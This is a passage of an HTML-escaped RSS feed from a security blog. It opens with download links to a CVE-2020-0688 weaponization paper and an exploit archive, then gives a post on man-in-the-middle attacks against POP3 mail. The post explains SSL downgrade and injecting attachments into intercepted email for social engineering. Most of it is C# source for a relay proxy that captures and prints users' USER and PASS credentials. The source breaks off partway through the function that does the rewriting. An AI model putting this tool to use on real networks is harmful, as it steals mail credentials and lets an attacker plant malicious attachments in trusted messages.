style=&quot;font-size:12px; color:#0066cc;&quot; href=&quot;http://www.zcgonvh.com/zb_users/upload/2020/03/202003011583061708182069.pdf&quot; title=&quot;CVE-2020-0688的武器化与.net反序列化漏洞那些事.pdf&quot;&gt;CVE-2020-0688的武器化与.net反序列化漏洞那些事.pdf&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 16px; text-indent: 2em;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;img style=&quot;vertical-align: middle; margin-right: 2px;&quot; src=&quot;http://www.zcgonvh.com/zb_users/plugin/UEditor/dialogs/attachment/fileTypeImages/icon_rar.gif&quot;/&gt;&lt;a style=&quot;font-size:12px; color:#0066cc;&quot; href=&quot;http://www.zcgonvh.com/zb_users/upload/2020/03/202003011583062000617616.rar&quot; title=&quot;CVE-2020-0688.rar&quot;&gt;CVE-2020-0688.rar&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;解压密码见注释。&lt;br/&gt;&lt;/p&gt;</description><pubDate>Sun, 01 Mar 2020 18:34:21 +0800</pubDate></item><item><title>POP3 MITM思路与简单实现</title><link>http://www.zcgonvh.com/post/POP3_MITM_Example.html</link><description>&lt;p style=&quot;text-indent: 2em;&quot;&gt;文章代码仅限技术交流使用，请遵守国家相关法规。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;因使用不当造成的问题与本人无关。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;渗透中有时会遇到控制DNS或路由交换设备的场景，此时我们可以发动中间人攻击。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;大多数时候，中间人攻击是面向浏览器的，由于HTTPS与HSTS的普及，现在已经不能取得较好的结果。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;而在实际的办公网络中，邮件客户端与对应的POP/IMAP/SMTP协议也极为常见。从社工的角度看，对可信发件人的邮件进行篡改的成功率会更高于浏览器钓鱼。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;同时，绝大部分邮件客户端在自动查找服务器时会尝试所有协议，大部分客户端和服务器均没有强制SSL的要求，这在对方使用POP3S（995端口）时尝试进行降级也是非常有利的条件。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x01 原理&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;POP协议和HTTP类似，同样属于早期的纯文本协议，一封EML邮件和一个HTTP POST包并没有本质区别。实际上，包含附件的EML和HTTP上传文件的multipart包几乎一模一样。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;所以只要将multipart的结束标志替换为一个attachment块即可：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2019/12/201912131576168315624706.jpg&quot; title=&quot;pop1.jpg&quot; alt=&quot;pop1.jpg&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;唯一要注意的是一个小区别：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;multipart/alternative格式的邮件包含文本和html两个部分，其中html部分为现代邮件客户端显示的内容，文本部分为老式邮件客户端显示的内容，其他部分（如附件等）将被忽略。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;而现在绝大部分的邮件客户端在处理multipart/relative格式时提供了针对multipart/alternative格式的兼容性，所以针对类似情况，在处理时还需要将邮件头中的Content-Type修改为multipart/relative。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x02 简单实现&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;下面（简陋的）的代码实现了以下两个功能：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;针对客户端：记录用户名密码。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;针对服务器：修改multipart类型的邮件，注入一个自己的附件。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;（注：由于没有好用的解析库，暂时不支持纯文本/纯HTML邮件。）&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;using&amp;nbsp;System;
using&amp;nbsp;System.Text;
using&amp;nbsp;System.Threading;
using&amp;nbsp;System.IO;
using&amp;nbsp;System.Net;
using&amp;nbsp;System.Net.Sockets;

namespace&amp;nbsp;Zcg.Tests
{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;class&amp;nbsp;PopFuckProxy
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;enum&amp;nbsp;state
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;header,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;replace
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;static&amp;nbsp;string&amp;nbsp;fn&amp;nbsp;=&amp;nbsp;&amp;quot;&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;static&amp;nbsp;string&amp;nbsp;b64&amp;nbsp;=&amp;nbsp;&amp;quot;&amp;quot;;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;static&amp;nbsp;void&amp;nbsp;Main(string[]&amp;nbsp;args)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Console.WriteLine(&amp;quot;POP3&amp;nbsp;MITM&amp;nbsp;tool&amp;nbsp;v0.1&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Console.WriteLine(&amp;quot;Part&amp;nbsp;of&amp;nbsp;GMH&amp;#39;s&amp;nbsp;fuck&amp;nbsp;Tools,&amp;nbsp;Code&amp;nbsp;By&amp;nbsp;zcgonvh.\r\n&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(args.Length&amp;nbsp;&amp;gt;&amp;nbsp;4)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fn&amp;nbsp;=&amp;nbsp;args[4];
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;b64&amp;nbsp;=&amp;nbsp;Convert.ToBase64String(File.ReadAllBytes(fn),&amp;nbsp;Base64FormattingOptions.InsertLineBreaks);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fn=Path.GetFileName(fn);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TcpListener&amp;nbsp;tl&amp;nbsp;=&amp;nbsp;new&amp;nbsp;TcpListener(IPAddress.Parse(args[0]),&amp;nbsp;int.Parse(args[1]));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tl.Start();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while&amp;nbsp;(true)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NetworkStream&amp;nbsp;nsc&amp;nbsp;=&amp;nbsp;tl.AcceptTcpClient().GetStream();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TcpClient&amp;nbsp;tc&amp;nbsp;=&amp;nbsp;new&amp;nbsp;TcpClient();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tc.Connect(args[2],&amp;nbsp;int.Parse(args[3]));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NetworkStream&amp;nbsp;nss&amp;nbsp;=&amp;nbsp;tc.GetStream();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;new&amp;nbsp;Thread(Read).Start(new&amp;nbsp;object[]&amp;nbsp;{&amp;nbsp;nsc,&amp;nbsp;nss&amp;nbsp;});
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;new&amp;nbsp;Thread(Write).Start(new&amp;nbsp;object[]&amp;nbsp;{&amp;nbsp;nsc,&amp;nbsp;nss&amp;nbsp;});
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;catch&amp;nbsp;(Exception&amp;nbsp;ex)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(ex&amp;nbsp;is&amp;nbsp;IndexOutOfRangeException&amp;nbsp;||&amp;nbsp;ex&amp;nbsp;is&amp;nbsp;FormatException)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Console.WriteLine(&amp;quot;usage:&amp;nbsp;PopFuckProxy&amp;nbsp;&amp;lt;lhost&amp;gt;&amp;nbsp;&amp;lt;lport&amp;gt;&amp;nbsp;&amp;lt;rhost&amp;gt;&amp;nbsp;&amp;lt;rport&amp;gt;&amp;nbsp;[attachment]&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Console.WriteLine(ex);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;static&amp;nbsp;void&amp;nbsp;Read(object&amp;nbsp;o)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;object[]&amp;nbsp;obj&amp;nbsp;=&amp;nbsp;o&amp;nbsp;as&amp;nbsp;object[];
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NetworkStream&amp;nbsp;nsc&amp;nbsp;=&amp;nbsp;obj[0]&amp;nbsp;as&amp;nbsp;NetworkStream;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NetworkStream&amp;nbsp;nss&amp;nbsp;=&amp;nbsp;obj[1]&amp;nbsp;as&amp;nbsp;NetworkStream;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;StreamReader&amp;nbsp;sr&amp;nbsp;=&amp;nbsp;new&amp;nbsp;StreamReader(nsc);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;StreamWriter&amp;nbsp;sw&amp;nbsp;=&amp;nbsp;new&amp;nbsp;StreamWriter(nss);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sw.AutoFlush&amp;nbsp;=&amp;nbsp;true;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;string&amp;nbsp;s&amp;nbsp;=&amp;nbsp;sr.ReadLine();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while&amp;nbsp;(s&amp;nbsp;!=&amp;nbsp;null)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(s.StartsWith(&amp;quot;USER&amp;quot;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Console.WriteLine(&amp;quot;[!]&amp;nbsp;&amp;quot;&amp;nbsp;+&amp;nbsp;s);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else&amp;nbsp;if&amp;nbsp;(s.StartsWith(&amp;quot;PASS&amp;quot;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Console.WriteLine(&amp;quot;[!]&amp;nbsp;&amp;quot;&amp;nbsp;+&amp;nbsp;s);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sw.WriteLine(s);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s&amp;nbsp;=&amp;nbsp;sr.ReadLine();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;catch&amp;nbsp;{&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;static&amp;nbsp;void&amp;nbsp;Write(object&amp;nbsp;o)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;object[]&amp;nbsp;obj&amp;nbsp;=&amp;nbsp;o&amp;nbsp;as&amp;nbsp;object[];
